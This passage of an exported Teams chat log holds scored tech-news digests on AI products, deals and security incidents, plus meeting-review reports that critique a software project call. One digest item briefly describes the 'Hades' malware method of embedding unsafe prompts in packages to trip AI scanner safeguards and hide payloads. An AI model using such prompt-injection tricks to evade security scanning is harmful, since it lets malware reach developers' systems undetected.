permissions.\\n  13. **[MAI-Code-1-Flash expands across GitHub Copilot](https://github.blog/changelog/2026-06-18-mai-code-1-flash-available-on-more-copilot-surfaces/)** \u2014 **Score: 31/35.** Microsoft\u2019s small coding model is rolling out across Copilot CLI, GitHub, VS Code and mobile, with Business and Enterprise access planned.\\n  14. **[OpenAI adds enterprise usage analytics and spend controls](https://openai.com/index/chatgpt-enterprise-spend-controls)** \u2014 **Score: 31/35.** ChatGPT Enterprise adds unified ChatGPT/Codex credit analytics plus workspace, group and user limits to make AI rollout costs more governable.\\n  15. **[Critical Splunk flaw is exploited days after disclosure](https://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/)** \u2014 **Score: 30/35.** CVE-2026-20253 was exploited days after disclosure; CISA gave agencies three days to patch the unauthenticated file-operation flaw.\",\n>       \"created_at\": \"2026-06-19T09:49:31.753Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781693002738\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781693002738\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 2/10\\n\\nSecond repeat pass. Previously posted same-event stories were filtered out.\\n\\n  1. **[Oracle warns PeopleSoft customers after mass exploitation](https://www.techradar.com/pro/security/oracle-warns-customers-of-critical-peoplesoft-attack-after-hundreds-of-servers-hacked-by-apparent-shinyhunters-data-theft-attacks)** \\\\- Score: 31/35. CVE-2026-35273 was reportedly exploited as a zero-day before Oracle's June 10 patch, hitting enterprise and university systems.\\n  2. **[Hades malware tricks AI scanners with prompt injection](https://www.tomshardware.com/tech-industry/cyber-security/hades-malware-campaign-now-tricks-ai-bots-by-injecting-text-about-biological-and-nuclear-weapons-failsafe-mechanisms-triggered-by-prompts-for-weapon-creation-stop-scans-before-payload-is-seen)** \\\\- Score: 31/35. Malicious Python and JavaScript packages now embed unsafe prompts to trip AI scanner safeguards and hide payloads from cursory checks.\\n  3. **[Vibe-coding startups are raising billions](https://www.businessinsider.com/startups-raising-billions-vibe-coding-boom-cursor-lovable-replit-emergent-2026-3)** \\\\- Score: 30/35. Replit, Lovable, Cognition, Poolside and others show how natural-language app building is pulling capital into developer tooling.\\n  4. **[Google Gemini suffers multi-hour global outage](https://www.techradar.com/news/live/gemini-down-june-2026)** \\\\- Score: 29/35. Gemini users saw error 1076/1099 across web and mobile, underscoring reliability risk as teams depend on AI assistants for work.\\n  5. **[Tech leaders soften how they talk about AI job impact](https://www.businessinsider.com/ai-job-impact-losses-shifting-sam-altman-mustafa-suleyman-comments-2026-6)** \\\\- Score: 28/35. Altman, Suleyman and others are reframing AI from job wipeout to task automation as public and political backlash rises.\\n  6. **[OpenAI and Anthropic warn about the AI future they are building](https://www.businessinsider.com/openai-anthropic-warning-about-future-they-are-building-2026-6)** \\\\- Score: 28/35. Frontier labs are calling for stronger safety coordination while still racing to ship models and developer automation tools.\\n  7. **[OpenAI and Anthropic IPO plans could reshape AI investing](https://www.businessinsider.com/openai-anthropic-ai-ipo-spacex-stocks-stock-market-investing-trade-2026-6)** \\\\- Score: 27/35. Direct public listings for frontier labs could pull capital away from hyperscalers, chips and other indirect AI beneficiaries.\\n  8. **[Palantir CEO criticizes AI companies and their deployment model](https://www.businessinsider.com/palantir-ceo-ai-companies-leaders-unlikeable-fde-competition-2026-6)** \\\\- Score: 26/35. Alex Karp says AI firms misunderstand public trust and copy Palantir's forward-deployed model without enough operational discipline.\\n  9. **[The Internet of Agentic AI](https://arxiv.org/abs/2606.12835)** \\\\- Score: 26/35. New research frames autonomous agents as distributed systems needing identity, negotiation, trust, governance and resource control.\\n  10. **[Programming languages still matter to AI coding agents](https://arxiv.org/abs/2606.13763)** \\\\- Score: 26/35. Claude Code and Codex built chess engines in 17 languages, but performance, cost and supervision still varied heavily by language.\",\n>       \"created_at\": \"2026-06-17T10:43:22.738Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781693002738?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692653287\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692653287\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 1/10\\n\\nFresh pass after the earlier Jun 17 post. Same-event duplicates from prior\\nChatReview posts were skipped.\\n\\n  1. **[Salesforce to acquire AI agent maker Fin in $3.6B deal](https://www.investors.com/news/technology/salesforce-stock-fin-artificial-intelligence-acqusition-crm/)** \\\\- Score: 32/35. Salesforce is buying Fin/Intercom to strengthen Agentforce, showing how agentic AI is reshaping CRM and enterprise support software.\\n  2. **[OpenAI's latest acquisition could reshape Codex](https://www.techradar.com/pro/openais-latest-acquisition-could-see-big-changes-on-the-way-for-its-codex-coding-assistant)** \\\\- Score: 31/35. OpenAI's planned Ona acquisition targets persistent agent environments, a key building block for long-running Codex and workflow automation.\\n  3. **[Microsoft temporarily bans employees from Claude Fable 5](https://www.windowscentral.com/artificial-intelligence/microsoft-temporarily-ban-employees-from-using-claude-fable-5-ai)** \\\\- Score: 31/35. Anthropic data-retention changes triggered internal Microsoft restrictions, highlighting enterprise AI privacy and competitive-data risks.\\n  4. **[OpenAI weighs price cuts to compete with Anthropic](https://nypost.com/2026/06/11/business/openai-weighs-slashing-prices-in-attempt-to-lure-users-from-rival-anthropic-report/)** \\\\- Score: 30/35. Possible token-price cuts point to a broader AI pricing war that could change model selection and product economics for engineering teams.\\n  5. **[Enterprises are still unprepared to operationalize AI agents](https://www.itpro.com/technology/artificial-intelligence/most-enterprises-are-still-unprepared-to-operationalize-it-it-leaders-are-bullish-on-agents-but-keeping-falling-at-the-final-hurdle-heres-why)** \\\\- Score: 29/35. Forrester warns most agent projects remain pilots because governance, orchestration, data quality and security controls are not mature enough.\\n  6. **[Security at machine speed: why the SOC must be rebuilt](https://www.techradar.com/pro/security-at-machine-speed-why-the-soc-must-be-rebuilt-for-the-ai-era)** \\\\- Score: 29/35. AI-accelerated attacks are forcing SOC teams toward agentic detection, faster triage and new response metrics.\\n  7. **[CISA orders urgent patching for exploited Check Point VPN flaw](https://timesofindia.indiatimes.com/technology/tech-news/us-cybersecurity-agency-cisa-to-homeland-security-department-of-state-treasury-and-several-other-government-agencies-you-have-less-than-24-hours-to-fix-/articleshow/131630443.cms)** \\\\- Score: 29/35. Federal agencies were told to fix CVE-2026-50751 quickly, a reminder that VPN and identity-edge systems remain high-priority attack paths.\\n  8. **[Rule taxonomy and evolution in AI IDEs](https://arxiv.org/abs/2606.12231)** \\\\- Score: 28/35. Researchers mined 7,310 AI IDE rules, showing project-specific constraints improve compliance and are becoming real engineering artifacts.\\n  9. **[AI-driven software development: path to agentic processes](https://arxiv.org/abs/2606.15283)** \\\\- Score: 28/35. New research frames agentic development around context, permissions, logging, verification and human approval rather than simple code generation.\\n  10. **[Mining architectural quality under agentic AI adoption](https://arxiv.org/abs/2606.13298)** \\\\- Score: 27/35. A causal Java-repo study warns that architecture metrics can look better simply because AI-assisted codebases grow larger.\\n  11. **[Agentic AI-generated Julia code struggles at HPC scale](https://arxiv.org/abs/2606.16534)** \\\\- Score: 27/35. AI agents produced executable parallel Julia code, but larger HPC runs hit deadlocks, oversubscription and memory failures.\\n  12. **[Chaining tasks, redefining work: a theory of AI automation](https://arxiv.org/abs/2606.15960)** \\\\- Score: 26/35. A new automation model explains how AI changes jobs by chaining adjacent tasks, with implications for workflow and org design.\",\n>       \"created_at\": \"2026-06-17T10:37:33.287Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692120704\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692120704\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026\\n\\nReviewed 50+ recent items from Jun 10-17, 2026. Duplicate events from previous\\nChatReview news posts were skipped.\\n\\n  1. **[Anthropic export ban sounds alarms for AI industry](https://www.axios.com/2026/06/16/ai-anthropic-export-controls)** \\\\- Score: 34/35. U.S. controls on Anthropic's Fable/Mythos models raise access, safety and go-to-market risk for frontier AI customers.\\n  2. **[Microsoft turns to Amazon for help with GitHub's AI-driven capacity issues](https://www.businessinsider.com/microsoft-github-amazon-ai-cloud-capacity-2026-6)** \\\\- Score: 34/35. AI coding demand is straining GitHub; Microsoft is reportedly adding AWS capacity to reduce outages and keep developer workflows stable.\\n  3. **[SpaceX is buying AI coding startup Cursor for $60 billion](https://www.businessinsider.com/spacex-confirms-cursor-acquisition-60-billion-ai-coding-startup-2026-6)** \\\\- Score: 33/35. One of the largest AI developer-tool deals would fold Cursor into Musk's AI stack and reshape competition with Copilot, Codex and Claude Code.\\n  4. **[CISA tells US agencies to fix security bugs in as little as 3 days thanks to AI threats](https://www.wired.com/story/cisa-ai-vulnerability-directive)** \\\\- Score: 33/35. CISA's new BOD cuts critical vulnerability remediation to as little as three days, signaling faster patch SLAs for AI-era security.\\n  5. **[Microsoft weighs DeepSeek for Copilot Cowork](https://www.axios.com/2026/06/16/microsoft-copilot-cowork-tokenmaxxing-cowork)** \\\\- Score: 33/35. Microsoft may add Azure-hosted DeepSeek and move Copilot Cowork to usage pricing, highlighting cost pressure in enterprise AI agents.\\n  6. **[Visa to secure payments for shoppers on ChatGPT in OpenAI partnership](https://www.wsj.com/tech/ai/visa-to-secure-payments-for-shoppers-on-chatgpt-in-openai-partnership-7ece5b22)** \\\\- Score: 32/35. Visa and OpenAI are building controlled agent payments for ChatGPT, pushing agentic commerce toward real payment rails and merchant APIs.\\n  7. **[AI shifts cyber's hardest problem from finding flaws to fixing them](https://www.wsj.com/pro/cybersecurity/ai-shifts-cybers-hardest-problem-from-finding-flaws-to-fixing-them-43678882)** \\\\- Score: 32/35. Visa's AI security work argues the bottleneck is no longer finding bugs but validating, patching and testing fixes fast enough.\\n  8. **[Databricks releases general AI agents for businesses](https://www.wsj.com/cio-journal/databricks-releases-general-ai-agents-for-businesses-abffb409)** \\\\- Score: 31/35. Databricks launched Genie One, Genie Agents, App Builder and Genie Code, expanding from data platform into enterprise AI agent workflows.\\n  9. **[Arcade.dev raises $60 million to secure AI agents](https://www.wsj.com/cio-journal/arcade-dev-raises-60-million-to-secure-ai-agents-5d07eff4)** \\\\- Score: 31/35. Arcade's funding spotlights agent authorization: separating reasoning from actions, enforcing runtime policy and auditing MCP/A2A tool access.\\n  10. **[Microsoft walked away from a $3 billion Oracle cloud deal over security concerns](https://www.businessinsider.com/microsoft-was-in-talks-to-lease-oracle-compute-capacity-2026-6)** \\\\- Score: 31/35. Microsoft dropped an Oracle capacity deal over FedRAMP gaps, showing compliance is becoming a hard constraint in AI compute sourcing.\\n  11. **[HPE flexes Juniper muscles in AI networking at Discover event](https://www.investors.com/news/technology/hpe-stock-discover-conference-juniper-artificial-intelligence/)** \\\\- Score: 30/35. HPE is packaging Juniper networking into AI data-center and edge stacks, raising competition with Cisco, Arista and Nvidia networking.\\n  12. **[OpenAI hit with multistate probe into possible user harm as IPO looms](https://apnews.com/article/a95894407773307fae8ae3ce9742b586)** \\\\- Score: 30/35. A 42-state probe into OpenAI's data, ads, minors and safety practices may shape AI product governance and enterprise risk reviews.\\n  13. **[Rackspace stock surges on AMD data-center deal](https://www.barrons.com/articles/rackspace-stock-price-amd-data-center-deal-aebdbae1)** \\\\- Score: 29/35. Rackspace chose AMD as primary AI data-center supplier, part of a broader shift toward managed AI infrastructure outside hyperscaler clouds.\\n  14. **[Nvidia joins AI data-center borrowers as infrastructure debt surges](https://www.investors.com/news/technology/ai-data-centers-suppliers-nvidia-debt/)** \\\\- Score: 29/35. Nvidia's bond issue and rising AI data-center debt show how aggressively the industry is financing compute capacity through 2030.\\n  15. **[Databricks rolls out AI spend controls](https://www.axios.com/2026/06/16/databricks-stop-ai-overspend-tokenmaxxing)** \\\\- Score: 29/35. Databricks' Unity AI Gateway adds spend limits and runaway-use controls, a practical response to unpredictable agent/token costs.\",\n>       \"created_at\": \"2026-06-17T10:28:40.704Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604960018\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604960018\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Concise Version\\n\\n**Selected meeting:** Latest completed Fathom meeting, Apr 21, 2026. Reviewed\\nagainst the 20 most recent prior Jenish-recorded meetings. Sensitive details\\nremoved.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### Score Summary\\n\\n  * **Overall:** 4.3/10 - Needs Improvement\\n  * **Grammar:** 3/10 - Poor. Sentences were often incomplete or hard to parse. Some noise may come from transcription, but clarity still needs work.\\n  * **Communication:** 5/10 - Needs Improvement. Right topics were covered, but the meeting lacked structure and recap discipline.\\n  * **Client frustration handling:** 5/10 - Needs Improvement. Risk increases when questions repeat or timelines are not explained early.\\n\\n### What Went Well\\n\\n  * The team identified important risks: backend migration, login, TTS/audio, grammar correction, Roleplay, payment logic, and cleanup.\\n  * Action items were captured for documentation, testing, migration, and feature fixes.\\n  * Across recent meetings, access negotiation and production-risk planning have improved.\\n\\n### Top Issues By Business Impact\\n\\n  1. **High - unclear opening/context.** Evidence: 00:02 and 02:33. The meeting should start with goal, agenda, and expected output.\\n  2. **High - broad status request.** Evidence: 03:03. Ask by module: status, blocker, owner, due date, test proof.\\n  3. **High - migration discussion too unstructured.** Evidence: 18:37. Supabase, webhooks, TTS, queues, keys, and cleanup should be split into decisions.\\n  4. **Medium - repeated completion checks.** Evidence: 09:49, 18:08-18:20, 31:30-32:04. Repeating done/clear without feature names wastes time.\\n  5. **Medium - client delay concern pattern.** Evidence from prior client call: 35:01. The client had asked repeatedly about timing and still did not understand the delay.\\n\\n### Repeated / Unclear Questions\\n\\n  * **Unclear:** \u201cHow much complete and how much rest?\u201d   \\n**Better:** \u201cList each module with status, blocker, owner, due date, and test\\nevidence.\u201d\\n\\n  * **Unclear:** \u201cIs it done?\u201d   \\n**Better:** \u201cIs this implemented, tested on staging, and matching expected\\nbehavior?\u201d\\n\\n  * **Unclear:** \u201cCheck payment logic.\u201d   \\n**Better:** \u201cVerify purchase success, webhook update, entitlement allocation,\\nfailure handling, and refund/cancel behavior.\u201d\\n\\n### Trend Across Recent Meetings\\n\\n  * **Improved:** better access negotiation, better production rollback thinking, more consistent Fathom action-item capture.\\n  * **Still recurring:** weak English polish, unclear meeting control, repeated clarifications, technical detail before business impact, and reactive timeline explanations.\\n\\n### Recommended Actions\\n\\n  1. Use a fixed meeting checklist: agenda, modules, blockers, decisions, owners, dates.\\n  2. Ask one question at a time, then confirm: decision + owner + deadline + test evidence.\\n  3. Before asking the client for access/details, explain why it is needed.\\n  4. End every call with a 60-second recap and send written notes within 15 minutes.\\n\\n**Final recommendation:** Focus first on meeting structure. Grammar matters,\\nbut the biggest business improvement will come from agenda control, clearer\\nquestions, and consistent decision/owner/date recaps.\",\n>       \"created_at\": \"2026-06-16T10:16:00.018Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604667200\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604667200\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report\\n\\n**Selected meeting:** Most recent completed Fathom recording: Math IQ app\\nreview, Apr 21, 2026.\\n\\n**Trend context:** Reviewed the selected transcript plus the 20 most recent\\nprior Jenish-recorded Fathom meetings from Apr 20 to Feb 27, 2026. Detailed\\nline evidence is from the selected transcript plus two comparison transcripts.\\nSensitive client details have been removed.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.3/10 - Needs Improvement. Average of grammar, communication, and client-frustration handling.\\n  * **Grammar score:** 3/10 - Poor. Many captured sentences are incomplete, hard to parse, or use unclear word choices. Some may be Fathom transcription noise, but the call still reads difficult to follow.\\n  * **Communication score:** 5/10 - Needs Improvement. The meeting covered the right technical areas, but structure, ownership, and recap discipline were weak.\\n  * **Client-frustration handling score:** 5/10 - Needs Improvement. Latest call was mostly internal, but the broader pattern shows risk when timeline, access, or reason-for-question is not explained before asking for details.\\n  * **Client frustration risk:** 4/10 in the selected internal meeting; higher in client meetings when repeated clarifications or timeline delays appear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting reviewed Math IQ app status, Flutter/backend architecture,\\nmigration from cloud functions to Supabase, push notifications, Google login,\\nTTS/audio playback, grammar correction, Learn Flow, Roleplay, referral\\nhandling, scheduled notifications, payment logic, and documentation. The team\\ndid surface useful tasks, but the conversation was difficult to follow because\\nseveral requests were broad, repeated, or missing a clear\\nowner/date/acceptance-criteria recap.\\n\\n### 3\\\\. What Went Well\\n\\n  * Important technical risks were raised, including backend migration, payment logic, TTS/audio, login, and production cleanup.\\n  * The team did identify concrete follow-ups such as documentation, migration cleanup, feature fixes, testing, and disabling non-priority items.\\n  * Across prior meetings, access negotiation improved: when code access was not available, tester/app access was accepted as a practical alternative.\\n  * In the Apr 6 comparison meeting, rollout risk thinking was stronger: backend first, app submissions separately, rollback if needed, and user migration planning.\\n\\n### 4\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact - Unclear opening and context.** Evidence: selected transcript L1 @ 00:02 and L2 @ 02:33. The opening did not clearly state agenda, meeting goal, or expected output, which makes the meeting harder to control.\\n  2. **High impact - Broad status request without a checklist.** Evidence: L3 @ 03:03 asked for what is complete and what remains, but not by module, blocker, owner, or due date. This increases risk of missed scope.\\n  3. **High impact - Technical migration discussion lacked decision framing.** Evidence: L6 @ 18:37 covered Supabase migration, webhooks, TTS, queues, keys, and removed tables in one long block. This should have been split into clear decisions and owners.\\n  4. **High impact - Vague task handoff.** Evidence: L11 @ 30:53 asked to check payment logic, but did not define expected behavior, test cases, failure states, or success criteria.\\n  5. **Medium impact - Repeated completion checks.** Evidence: L4 @ 09:49, L5 @ 18:08-18:20, L8 @ 24:15, and L12 @ 31:30-32:04. Repeating done/complete/clear without a precise feature name can waste time and create confusion.\\n  6. **Medium impact - Client delay concern pattern.** Evidence: Apr 6 comparison transcript T2 @ 35:01. The client indicated they had asked repeatedly about timing and still did not understand the delay. This is a trust risk if not acknowledged early.\\n  7. **Low to medium impact - Meeting close was too weak.** Evidence: L13 @ 32:22-32:35. The call ended without a crisp recap of decisions, owners, deadlines, and risks.\\n\\n### 5\\\\. Missed Opportunities\\n\\n  * Start with a 30-second agenda: status, blockers, migration, bugs, owners, deadlines.\\n  * Use a module checklist instead of broad questions like what is complete and what is remaining.\\n  * After each answer, repeat the decision, owner, deadline, and test evidence.\\n  * Explain why access or technical details are needed before asking the client for them.\\n  * Separate internal debugging from client-facing business impact.\\n  * End with a written recap promise and send it immediately after the meeting.\\n\\n### 6\\\\. Repeated Questions\\n\\n  * Completion checks repeated without enough specificity: done, complete, clear, okay.\\n  * Testing questions repeated around Google login, TTS/audio, grammar correction, Roleplay, and notifications.\\n  * Some follow-up was necessary because the transcript was unclear, but repetition could be reduced by keeping a visible checklist and closing each topic before moving on.\\n\\n### 7\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell how much is complete and how much is remaining. **Better:** Please list each module with status, blocker, owner, due date, and test evidence.\\n  * **Unclear:** Do we use Firebase? **Better:** Are we using Firebase for push notifications only, or also auth, database, cloud functions, or analytics?\\n  * **Unclear:** Is it done? **Better:** Is this feature implemented, tested on staging, and verified against the expected behavior?\\n  * **Unclear:** Check payment logic. **Better:** Verify purchase success, webhook update, entitlement allocation, failure handling, and refund/cancel behavior.\\n\\n### 8\\\\. Necessary Follow-Up Vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for tester access before estimating or quoting.\\n  * Confirming which backend services still depend on cloud functions.\\n  * Confirming whether login, audio/TTS, grammar correction, and Roleplay are actually tested.\\n  * Asking about production rollout, app approval risk, rollback, and user migration.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete/done/clear after the same answer without narrowing the exact feature.\\n  * Re-asking information that should be captured in the checklist.\\n  * Continuing a topic after owner and action are already known instead of closing it.\\n\\n### 9\\\\. Root Causes Of Client Frustration\\n\\n  * Questions are sometimes asked before the business reason is explained.\\n  * Clients may hear repeated technical questions as uncertainty rather than discovery.\\n  * Timeline or delay explanations are sometimes reactive instead of proactive.\\n  * Broad questions create extra clarification work for the client.\\n  * Missing recap discipline means decisions may need to be repeated in future calls.\\n\\n### 10\\\\. Communication Pattern Trend Across Recent Meetings\\n\\n**Improved over time:**\\n\\n  * Access negotiation became more practical: the Apr 20 call moved from code access to tester/app access without blocking the quote process.\\n  * Risk planning improved in production-launch discussions, especially rollback and user migration.\\n  * Fathom action-item capture has become more consistent in recent calls.\\n  * Recent meetings show better awareness of dependencies across backend, app stores, payments, and user impact.\\n\\n**Recurring weaknesses still showing up:**\\n\\n  * English polish and sentence clarity remain weak in client-facing explanations.\\n  * Meeting control is inconsistent: agenda, topic boundaries, and recap are not always clear.\\n  * Broad questions and repeated clarifications keep appearing in technical meetings.\\n  * Business-impact framing often comes after technical details instead of before them.\\n  * Timeline expectations need more proactive communication before the client asks again.\\n\\n### 11\\\\. Recommended Actions\\n\\n  1. **Before each meeting:** Prepare a one-page checklist with agenda, modules, open questions, risks, and required decisions.\\n  2. **During the meeting:** Ask one question at a time, then confirm: decision, owner, due date, and test evidence.\\n  3. **For client questions:** Start with why the detail is needed, then ask the question.\\n  4. **For technical handoffs:** Use Feature / Expected behavior / Current issue / Owner / Due date / Test case.\\n  5. **After the meeting:** Send a recap within 15 minutes with decisions, owners, deadlines, and risks.\\n\\n### 12\\\\. Useful Replacement Phrases\\n\\n  * **Instead of:** Can you give access? **Say:** To estimate accurately, I need tester access to verify the current flow. Code access is not required at this stage.\\n  * **Instead of:** Is this done? **Say:** Can you confirm whether this feature is implemented, tested on staging, and matching the expected behavior?\\n  * **Instead of:** Why delay? **Say:** The delay is due to these risks: approval timing, backend compatibility, and rollback planning. Here is the current plan and fallback.\\n  * **Instead of:** Check this logic. **Say:** Please verify these five cases and report pass/fail with screenshots or logs.\\n\\n### Final Recommendation\\n\\nThe biggest improvement will come from structure, not only grammar. Use a\\nfixed meeting format: agenda, checklist, one question at a time, recap after\\neach topic, and final owner/date/action summary. Grammar practice is still\\nimportant, especially for client-facing estimation, risk, and timeline\\ncommunication.\",\n>       \"created_at\": \"2026-06-16T10:11:07.2Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781174202082\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781174202082\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026** 1\\\\. [Deep dive: How Lightning\\nEngine delivers 4.9x faster Apache Spark\\nperformance](https://cloud.google.com/blog/products/data-analytics/lighting-\\nengine-for-apache-spark-performance-deep-dive/) - AI/cloud update that may\\naffect model access, deployment choices, developer workflows, or platform\\nstrategy. 2\\\\. [Choosing your surface: Antigravity 2.0, Antigravity CLI,\\nAntigravity IDE, or Antigravity\\nSDK](https://cloud.google.com/blog/topics/developers-practitioners/choosing-\\nyour-surface-antigravity-20-antigravity-cli-antigravity-ide-or-antigravity-\\nsdk/) - AI/cloud update that may affect model access, deployment choices,\\ndeveloper workflows, or platform strategy. 3\\\\. [Amazon SageMaker Unified\\nStudio Notebooks now support EMR Serverless](https://aws.amazon.com/about-\\naws/whats-new/2026/06/amazon-sagemaker-unified-studio-emr/) - AI/cloud update\\nthat may affect model access, deployment choices, developer workflows, or\\nplatform strategy. 4\\\\. [Amazon EC2 P6-B200 instances are now available in the\\nAWS GovCloud (US-East) Region](https://aws.amazon.com/about-aws/whats-\\nnew/2026/06/amazon-ec2-p6-b200-aws-govcloud/) - AI/ML update that may affect\\ndeveloper workflows, product strategy, platforms, or technical roadmaps. 5\\\\.\\n[Datadog veterans launch AI coding startup Niteshift on a bet against Big AI\\nlock-in](https://techcrunch.com/2026/06/10/datadog-veterans-launch-ai-coding-\\nstartup-niteshift-on-a-bet-against-big-ai-lock-in/) - AI coding agent startup\\nNiteshift has raised a $7 million seed round from a who's who of angels. It's\\nbetting companies will want power over, not lock-in with model makers. 6\\\\.\\n[For the 2nd time in weeks, Microsoft packages laced with credential\\nstealer](https://arstechnica.com/security/2026/06/for-the-2nd-time-in-weeks-\\nmicrosoft-packages-laced-with-credential-stealer/) - 73 packages run self-\\nreplicating stealer as soon as they're opened by an AI agent. 7\\\\. [Microsoft\\nand Adobe Patch Tuesday, June 2026 Security Update Review -\\nQualys](https://news.google.com/rss/articles/CBMizgFBVV95cUxNcWl1enRmR2J0R24zNUtZcDRrX3VSZTJCNHkxelZxaVgxeUJ5dnhkRTlLN0JuSXlkLVVCa2tySzVxZHUwOTdPcnNUXzR6V1FSTkdWWDVVeUoxYTlhSVVVRzRxRkNlM1ZUYjNJS0F2Y3pzeWxvRXUtaFpyVU9XSVoteDVFNGE5Z01od3hQbVJIeUVWRXBTNkMwZmVIUzJsZGp5cTV2aUp0dUpkSTVaNF8yX0VLQ2xvM1p5Snl1TEg3TVNZd2FuLUVnUU5YbTJIUQ?oc=5)\\n- Security, privacy, or infrastructure update relevant to technical leaders\\nand platform teams. 8\\\\. [PRC-linked influence operations are targeting AI\\ndebates in the US](https://openai.com/index/prc-linked-influence-operations-\\nai-debates) - AI/ML update that may affect developer workflows, product\\nstrategy, platforms, or technical roadmaps. 9\\\\. [Spec-Driven Development: A\\nSpec-First Approach to AI-Native\\nEngineering](https://devblogs.microsoft.com/blog/spec-driven-development-ai-\\nnative-engineering) - AI/ML update that may affect developer 